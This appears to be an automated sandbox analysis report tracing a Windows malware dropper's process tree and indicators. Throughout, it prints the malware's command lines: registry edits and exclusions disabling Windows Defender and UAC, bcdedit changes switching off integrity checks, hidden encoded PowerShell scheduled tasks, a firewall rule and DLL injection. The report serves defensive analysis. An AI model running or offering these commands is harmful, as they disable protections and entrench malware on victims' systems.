Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1116 Broom.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2872 wrote to memory of 2212 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 28 PID 2872 wrote to memory of 2212 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 28 PID 2872 wrote to memory of 2212 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 28 PID 2872 wrote to memory of 2212 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 28 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 2872 wrote to memory of 3032 2872 f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe 30 PID 3032 wrote to memory of 2764 3032 CasPol.exe 31 PID 3032 wrote to memory of 2764 3032 CasPol.exe 31 PID 3032 wrote to memory of 2764 3032 CasPol.exe 31 PID 3032 wrote to memory of 2764 3032 CasPol.exe 31 PID 3032 wrote to memory of 2832 3032 CasPol.exe 32 PID 3032 wrote to memory of 2832 3032 CasPol.exe 32 PID 3032 wrote to memory of 2832 3032 CasPol.exe 32 PID 3032 wrote to memory of 2832 3032 CasPol.exe 32 PID 3032 wrote to memory of 1572 3032 CasPol.exe 33 PID 3032 wrote to memory of 1572 3032 CasPol.exe 33 PID 3032 wrote to memory of 1572 3032 CasPol.exe 33 PID 3032 wrote to memory of 1572 3032 CasPol.exe 33 PID 3032 wrote to memory of 1572 3032 CasPol.exe 33 PID 3032 wrote to memory of 1572 3032 CasPol.exe 33 PID 3032 wrote to memory of 1572 3032 CasPol.exe 33 PID 3032 wrote to memory of 2000 3032 CasPol.exe 35 PID 3032 wrote to memory of 2000 3032 CasPol.exe 35 PID 3032 wrote to memory of 2000 3032 CasPol.exe 35 PID 3032 wrote to memory of 2000 3032 CasPol.exe 35 PID 3032 wrote to memory of 2000 3032 CasPol.exe 35 PID 3032 wrote to memory of 2000 3032 CasPol.exe 35 PID 3032 wrote to memory of 2000 3032 CasPol.exe 35 PID 3032 wrote to memory of 760 3032 CasPol.exe 34 PID 3032 wrote to memory of 760 3032 CasPol.exe 34 PID 3032 wrote to memory of 760 3032 CasPol.exe 34 PID 3032 wrote to memory of 760 3032 CasPol.exe 34 PID 2832 wrote to memory of 1116 2832 fAAjlOlAVbwufyfy6RCPI7Xj.exe 37 PID 2832 wrote to memory of 1116 2832 fAAjlOlAVbwufyfy6RCPI7Xj.exe 37 PID 2832 wrote to memory of 1116 2832 fAAjlOlAVbwufyfy6RCPI7Xj.exe 37 PID 2832 wrote to memory of 1116 2832 fAAjlOlAVbwufyfy6RCPI7Xj.exe 37 PID 1572 wrote to memory of 288 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 36 PID 1572 wrote to memory of 288 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 36 PID 1572 wrote to memory of 288 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 36 PID 1572 wrote to memory of 288 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 36 PID 1572 wrote to memory of 288 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 36 PID 1572 wrote to memory of 288 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 36 PID 1572 wrote to memory of 288 1572 UC87LjiZNAdFZHXnRUO9a05Z.exe 36 PID 288 wrote to memory of 1500 288 Install.exe 38 PID 288 wrote to memory of 1500 288 Install.exe 38 PID 288 wrote to memory of 1500 288 Install.exe 38 PID 288 wrote to memory of 1500 288 Install.exe 38 PID 288 wrote to memory of 1500 288 Install.exe 38 PID 288 wrote to memory of 1500 288 Install.exe 38 PID 288 wrote to memory of 1500 288 Install.exe 38 PID 1500 wrote to memory of 2332 1500 Install.exe 40 PID 1500 wrote to memory of 2332 1500 Install.exe 40 PID 1500 wrote to memory of 2332 1500 Install.exe 40 PID 1500 wrote to memory of 2332 1500 Install.exe 40 PID 1500 wrote to memory of 2332 1500 Install.exe 40 PID 1500 wrote to memory of 2332 1500 Install.exe 40 PID 1500 wrote to memory of 2332 1500 Install.exe 40 -
System policy modification 1 TTPs 1 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe"C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe"1⤵
- UAC bypass
- Windows security bypass
- Windows security modification
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2872 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\f36fc8e0bb8eab645cf6b4876e588dc427575a4fb25db629598b29f1d9328756.exe" -Force2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2212
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Drops startup file
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3032 -
C:\Users\Admin\Pictures\SxwB3d43GyBiFZjfw9Lfxhee.exe"C:\Users\Admin\Pictures\SxwB3d43GyBiFZjfw9Lfxhee.exe"3⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:2764 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c start "" "C:\ProgramData\BAKFCBFHJD.exe"4⤵PID:2796
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Pictures\SxwB3d43GyBiFZjfw9Lfxhee.exe" & del "C:\ProgramData\*.dll"" & exit4⤵PID:2776
-
C:\Windows\SysWOW64\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
PID:1476
-
-
-
-
C:\Users\Admin\Pictures\fAAjlOlAVbwufyfy6RCPI7Xj.exe"C:\Users\Admin\Pictures\fAAjlOlAVbwufyfy6RCPI7Xj.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2832 -
C:\Users\Admin\AppData\Local\Temp\Broom.exeC:\Users\Admin\AppData\Local\Temp\Broom.exe4⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1116
-
-
-
C:\Users\Admin\Pictures\UC87LjiZNAdFZHXnRUO9a05Z.exe"C:\Users\Admin\Pictures\UC87LjiZNAdFZHXnRUO9a05Z.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1572 -
C:\Users\Admin\AppData\Local\Temp\7zS63D2.tmp\Install.exe.\Install.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:288 -
C:\Users\Admin\AppData\Local\Temp\7zS6DEF.tmp\Install.exe.\Install.exe /Ojdidxev "385118" /S5⤵
- Checks BIOS information in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"6⤵PID:2332
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&7⤵PID:1400
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:328⤵PID:1900
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:648⤵PID:2152
-
-
-
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"6⤵PID:1996
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&7⤵PID:2320
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:328⤵PID:2184
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:648⤵PID:840
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "grgEpsfFH" /SC once /ST 07:40:22 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="6⤵
- Creates scheduled task(s)
PID:1656
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "grgEpsfFH"6⤵PID:1812
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "grgEpsfFH"6⤵PID:2384
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bFvsKFifcttmubYYTU" /SC once /ST 21:51:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN\PfzJEsvfSkvLAaT\ufHYGna.exe\" 1c /nLsite_idpzy 385118 /S" /V1 /F6⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:1712
-
-
-
-
-
C:\Users\Admin\Pictures\vfPRQtvnMOEhv5fKseYxY6p9.exe"C:\Users\Admin\Pictures\vfPRQtvnMOEhv5fKseYxY6p9.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:760 -
C:\Users\Admin\Pictures\vfPRQtvnMOEhv5fKseYxY6p9.exe"C:\Users\Admin\Pictures\vfPRQtvnMOEhv5fKseYxY6p9.exe"4⤵
- Windows security bypass
- Executes dropped EXE
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2408 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"5⤵PID:2352
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes6⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1952
-
-
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe5⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Manipulates WinMon driver.
- Manipulates WinMonFS driver.
- Drops file in Windows directory
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2304 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
PID:1516
-
-
C:\Windows\system32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f6⤵PID:1696
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1520
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies system certificate store
PID:2352 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER7⤵
- Modifies boot configuration data using bcdedit
PID:732
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:7⤵
- Modifies boot configuration data using bcdedit
PID:2740
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:7⤵
- Modifies boot configuration data using bcdedit
PID:2688
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows7⤵
- Modifies boot configuration data using bcdedit
PID:2772
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe7⤵
- Modifies boot configuration data using bcdedit
PID:2188
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe7⤵
- Modifies boot configuration data using bcdedit
PID:2800
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 07⤵
- Modifies boot configuration data using bcdedit
PID:2776
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn7⤵
- Modifies boot configuration data using bcdedit
PID:1112
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 17⤵
- Modifies boot configuration data using bcdedit
PID:2364
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}7⤵
- Modifies boot configuration data using bcdedit
PID:2152
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast7⤵
- Modifies boot configuration data using bcdedit
PID:1508
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}7⤵
- Modifies boot configuration data using bcdedit
PID:1400
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 07⤵
- Modifies boot configuration data using bcdedit
PID:2460
-
-
-
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v6⤵
- Modifies boot configuration data using bcdedit
PID:2640
-
-
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe6⤵
- Executes dropped EXE
PID:2596
-
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F6⤵
- Creates scheduled task(s)
PID:2428
-
-
C:\Windows\windefender.exe"C:\Windows\windefender.exe"6⤵
- Executes dropped EXE
PID:2988 -
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵PID:1732
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)8⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:1112
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)6⤵PID:692
-
C:\Windows\SysWOW64\sc.exesc sdset WmiPrvSE D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)7⤵
- Launches sc.exe
- Suspicious use of AdjustPrivilegeToken
PID:2792
-
-
-
-
-
-
C:\Users\Admin\Pictures\RBAwg1V0S6w1eaXMCXatCAud.exe"C:\Users\Admin\Pictures\RBAwg1V0S6w1eaXMCXatCAud.exe" --silent --allusers=03⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2000
-
-
-
C:\Windows\system32\taskeng.exetaskeng.exe {B92FEBB7-4062-4FB0-A784-6E2B21AA63B9} S-1-5-21-3618187007-3650799920-3290345941-1000:BPDFUYWR\Admin:Interactive:[1]1⤵PID:1068
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:688 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:2264
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2488 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:1740
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2272 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:1868
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==2⤵
- Drops file in System32 directory
- Suspicious use of AdjustPrivilegeToken
PID:2704 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force3⤵PID:2136
-
-
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231119215013.log C:\Windows\Logs\CBS\CbsPersist_20231119215013.cab1⤵
- Drops file in Windows directory
PID:3016
-
C:\Windows\system32\taskeng.exetaskeng.exe {81D3DD8C-675F-4453-A372-3D63E854D615} S-1-5-18:NT AUTHORITY\System:Service:1⤵PID:1948
-
C:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN\PfzJEsvfSkvLAaT\ufHYGna.exeC:\Users\Admin\AppData\Local\Temp\YmqzWwwqxJQdhSTVN\PfzJEsvfSkvLAaT\ufHYGna.exe 1c /nLsite_idpzy 385118 /S2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:2204 -
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gCtpCPkCe" /SC once /ST 17:59:34 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:1084
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gCtpCPkCe"3⤵PID:2576
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gCtpCPkCe"3⤵PID:1612
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:323⤵PID:1184
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:324⤵
- Modifies Windows Defender Real-time Protection settings
PID:2448
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:643⤵PID:764
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:644⤵
- Modifies Windows Defender Real-time Protection settings
PID:2388
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gFZmughAq" /SC once /ST 09:14:45 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="3⤵
- Creates scheduled task(s)
PID:1676
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gFZmughAq"3⤵PID:1804
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gFZmughAq"3⤵PID:552
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WVcQpKJMvymSgqJu" /t REG_DWORD /d 0 /reg:323⤵PID:904
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WVcQpKJMvymSgqJu" /t REG_DWORD /d 0 /reg:324⤵
- Windows security bypass
PID:2556
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WVcQpKJMvymSgqJu" /t REG_DWORD /d 0 /reg:643⤵PID:2392
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WVcQpKJMvymSgqJu" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:1324
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WVcQpKJMvymSgqJu" /t REG_DWORD /d 0 /reg:323⤵PID:2084
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WVcQpKJMvymSgqJu" /t REG_DWORD /d 0 /reg:324⤵PID:668
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WVcQpKJMvymSgqJu" /t REG_DWORD /d 0 /reg:643⤵PID:1860
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WVcQpKJMvymSgqJu" /t REG_DWORD /d 0 /reg:644⤵PID:1624
-
-
-
C:\Windows\SysWOW64\cmd.execmd /C copy nul "C:\Windows\Temp\WVcQpKJMvymSgqJu\hPZDbDoQ\jiAPgaQNjQmvjxju.wsf"3⤵PID:1448
-
-
C:\Windows\SysWOW64\wscript.exewscript "C:\Windows\Temp\WVcQpKJMvymSgqJu\hPZDbDoQ\jiAPgaQNjQmvjxju.wsf"3⤵
- Modifies data under HKEY_USERS
PID:632 -
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR" /t REG_DWORD /d 0 /reg:324⤵PID:880
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\GdxvlpYGnipdDYEVdBR" /t REG_DWORD /d 0 /reg:644⤵
- Windows security bypass
PID:2448
-
-
